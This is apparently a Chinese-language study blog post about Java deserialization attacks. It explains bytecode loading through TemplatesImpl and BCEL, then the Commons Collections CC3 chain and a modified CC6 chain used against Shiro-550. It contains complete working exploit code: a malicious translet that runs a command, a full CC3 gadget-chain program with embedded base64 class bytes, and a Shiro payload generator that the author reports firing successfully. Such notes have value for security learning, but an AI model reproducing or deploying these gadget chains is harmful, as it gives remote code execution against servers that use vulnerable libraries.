理解字节码
在c语言里,代码编译成exe或者elf,然后直接在cpu上跑,在python里,代码编译成.pyc文件,在python解释器里跑,Java也一样,编译成字节码.class文件,然后在Java虚拟机里运行。.class就是一堆二进制字节,就是jvm看的指令,jvm会根据这些指令去执行操作。
URLClassLoader加载
我们的目的是让受害者的jvm加载我们的恶意class文件,最常见的思路就是远程加载,把class文件放在自己服务器上,然后通过URLClassLoader去动态下载并加载。
但是这种方式太依赖网络环境了,如果目标不出网,就无法利用这个方式去加载
底层核心defineClass
Java的所有类加载,最后都会通过ClassLoader类的一个核心方法defineClass,这个方法接收一串字节数组,然后把这些字节数组变成内齿中的Class。
但是这是一个protected方法且是final的,所以没办法直接通过classLoader.defineClass调用,不过我们可以通过反射来强行调用
1 2 3 4
| Method defineClass =ClassLoader.class.getDeclaredMethod("defineClass", String.class,byte[].class, int.class, int.class); defineClass.setAccessible(true); Class hello =(Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", code,0, code.length); hello.newInstance();
|
但是defineclass在被调用的时候,类对象不会初始化。而在实际的反序列化利用场景中,defineClass方法作用域是不开放的,很少能直接利用到他。
一开始我想的是为什么不能用反射这么去调用这个方法,然后去问了Gemini,说是太长了

还有一点,defineClass被调用的时候,类对象不会被初始化(newinstance),也就是说我们想法子让受害者调用defineClass,它只是把我们的.class文件变成jvm内齿里的一个class模板,只是把炸药放进了仓库,因此即使我们把恶意代码写在static {}静态代码块,仅仅调用defineClass是不会触发这段代码的(其实还是不太懂,但是还是不要去揪这么深了)
TemplatesImpl类
这个类有以下几点:
- jdk自带,所有Java都有
- 它内部重写了defineClass方法,没有保护限制
- 这个类里不仅能用defineClass,还紧接着自动调用newinstance
触发链条:
当调用TemplatesImpl.NewTransformer()或者getOutputProperties()时,它内部会有以下操作
getTransletInstance()->defineTransletClasses()->class.newInstance()
利用条件:
_bytecodes:塞入我们恶意类的.class字节数组
_name:任意
_tfactory:任意TransformerFactoryImpl对象
限制条件:
通过它加载的类,必须继承AbstractTranslet类,我们的恶意类就要这样写
1 2 3 4 5 6 7 8 9 10 11 12 13
| public class HelloTemplatesImpl extends AbstractTranslet { public HelloTemplatesImpl() { super(); try { Runtime.getRuntime().exec("calc.exe"); } catch (Exception e) {} } public void transform(...) {} public void transform(...) {} }
|
我们调用如下:
1 2 3 4 5 6 7 8
| public static void main(String[] args) throws Exception { byte[] code =[]; TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][] {code}); setFieldValue(obj, "_name", "HelloTemplatesImpl"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); obj.newTransformer(); }
|
那这个有什么用?
在我们之前反序列化都是执行单条命令,但是我们现在可以在自己的恶意类有很多操作,然后通过反序列化,反射调用上面的2种方法,然后受害者自动加载执行我们的恶意类
BCEL字节码
除了上面的那个类,jdk还有一个类加载器叫BCEL ClassLoader,这个加载器不需要你传字节数组,它能够允许你把字节经过特定编码后,变成一个字符串,然后开头加上$$BCEL$$,当我们让他去加载这个字符串的时候,它就会当场解码执行,它在Fastjson漏洞中比较出名,但是在Java 8u251之后被官方删除。
CC3链
在之前我们了解到可以调用newTransformer来加载字节码,再结合我们之前学到的cc1/cc6,通常都是在transformer中用invoketransformer

那我们在invoketransformer中调用newtransformer方法就行了,这样也可以加载字节码了
但是随着反序列化漏洞和工具的爆发,开发者也意识到了这个,然后他的出了一个黑名单,而InvokerTransformer就在里面。既然有了黑名单,那肯定就有人想办法去绕过,然后就有了现在这个链
黑客们先是找到了这个位于jdk内部的类com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter

这个类的构造方法里调用了newTransformer方法,我们只要想办法调用这个构造方法就行了。
然后这个时候黑客们在CC库里找到了另外一个InstantiateTransformer,它的作用就是调用构造函数,正好就是我们需要的。
然后Transformer流水线里就换了几个transformer
1 2 3 4 5 6 7 8 9 10
| Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[] { Templates.class }, new Object[] { templatesImplObj } ) };
|
CC3链的本质是:TemplatesImpl提供加载恶意字节码-> TrAXFilter构造方法来触发加载恶意字节码-> InstantiateTransformer绕过黑名单触发构造方法。只是把cc1/cc6流水线里的transformer替换了一下,这是我用cc1的payload写的简单的demo,字节码来自p神原文中的字节码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; import java.util.Map;
public class CC3 { public static void setValue(Object obj, String field,Object value) throws Exception { Field f = obj.getClass().getDeclaredField(field); f.setAccessible(true); f.set(obj, value); } public static void main(String[] args) throws Exception { byte[] code= Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRj" + "L0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYW" + "xpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25z" + "BwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb2" + "0vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9z" + "dW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZG" + "xlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwu" + "amF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1" + "RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMv" + "cnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludG" + "VybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEA" + "FUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQ" + "AVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAA" + "AbEAAAABAAoAAAAGAAEAAAAIAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQ" + "AKAAAABgABAAAACgALAAAABAABAAwAAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAE" + "sQAAAAEACgAAAA4AAwAAAA0ABAAOAAwADwABABAAAAACABE="); TemplatesImpl obj = new TemplatesImpl(); setValue(obj,"_bytecodes",new byte[][]{code}); setValue(obj,"_name","gYppSHXH"); setValue(obj,"_tfactory",new TransformerFactoryImpl()); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer( new Class[] { Templates.class }, new Object[] { obj } ) };
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap(); innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object payload = construct.newInstance(Retention.class, outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(payload); oos.close();
System.out.println("Payload 生成成功,长度: " + barr.size() + " 字节");
System.out.println("开始反序列化..."); ByteArrayInputStream bais = new ByteArrayInputStream(barr.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); Object o = (Object)ois.readObject(); } }
|
字节码的用处
我们首先试着用cc6去打一下shiro-550,shiro的原理在之前的文章也有讲过,这里就不复述了。这里的shirodemo和序列化数据都是用p神的代码

但是把这字节发过去之后tomcat报错,也没弹计算器

这里面是Java在反序列化的时候,底层会调用一个resolveClass的方法,而shiro为了实现自己的一套机制,重写了这个方法,最后阴差阳错的调用了tomcat的类加载器,而这个加载器它不支持数组类型的类!
所以在shiro环境下,任何带有数组的序列化结构都会导致类加载器崩溃,反序列化中断。
那这个时候怎么办,transformer流水线肯定要用数组的,这个时候字节码就派上用场了,只要一次调用(触发加载字节码),就能执行复杂的操作,但是我们之前就是用transformer来把TemplatesImpl传给InvokerTransformer的,现在没法用了
然后在CC6链中的LazyMap.get(Object key)的方法中
1 2 3 4 5 6 7 8 9
| public Object get(Object key) { if (map.containsKey(key) == false) { Object value = factory.transform(key); ... } }
|
其实这里我是没太懂这个transform是干嘛的,p神原文这么说的

然后我去问了ai,确实,就是一个传递的功能


然后之前的constant就是相当于传一个固定的,而不是输入进来的key什么的

那现在直接把TemplatesImpl传过去之后,只用调用一次InvokerTransformer了,就不用数组了,然后还有就是

这样就触发了我们想要的,然后之前constant就是相当于强行抢占了

然后payload用之前的cc6,然后把里面的数组改一下即可,这里用的是p神的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map;
public class CommonsCollectionsShiro { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }
public byte[] getPayload(byte[] clazzBytes) throws Exception { TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes}); setFieldValue(obj, "_name", "HelloTemplatesImpl"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("getClass", null, null);
Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
Map expMap = new HashMap(); expMap.put(tme, "valuevalue");
outerMap.clear(); setFieldValue(transformer, "iMethodName", "newTransformer");
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(expMap); oos.close();
return barr.toByteArray(); } }
|
然后在yakit中发给服务器,成功触发

看这一段的时候,回到之前cc6的笔记看了很久,也问了Gemini很多问题,隔的时间太久了都